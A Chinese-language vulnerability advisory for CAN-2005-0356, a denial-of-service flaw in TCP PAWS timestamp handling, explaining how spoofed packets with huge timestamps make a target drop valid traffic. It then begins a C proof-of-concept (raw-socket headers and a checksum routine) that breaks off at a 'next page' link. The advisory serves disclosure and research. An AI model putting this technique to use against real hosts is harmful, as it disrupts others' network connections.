安全系统:
无
漏洞报告人:
noritoshi demizu漏洞描述:
bugtraq id: 13676 cve(can) id: can-2005-0356 rfc 793中定义的传输控制协议(tcp)允许在报文交换网络中进行可靠的主机到主机的传输.rfc 1323引入了一些增强tcp性能的技术,其中两项技术是tcp时间戳与序列号回卷保护(paws). tcp rfc 1323的paws技术中存在安全漏洞.如果启用了tcp时间戳的话,tcp连接的两个端点使用内部时钟用时间戳的值标记tcp首部.如果tcp paws配置为使用时间戳值的话,tcp paws实现中就会存在拒绝服务漏洞. 如果攻击者向有漏洞的计算机发送了足够多的tcp paws报文的话会出现这个漏洞.攻击者可以将报文时间戳设为很大的值.目标机器在处理这个报文时,内部计时器就会更新到这个值,这可能导致丢掉所有之后收到的有效报文,因为这些报文被认定为太旧了或无效.这种技术可能导致目标连接拒绝服务.测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.使用者风险自负!#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <net/if.h> #ifdef __freebsd__ #include <net/if_var.h> #endif #include <netinet/in.h> #include <netinet/in_var.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> static u_int16_t checksum(u_int16_t *data, u_int16_t length) { u_int32_t value = 0; u_int16_t i; for (i = 0; i < (length >> 1); ++i) ... 下一页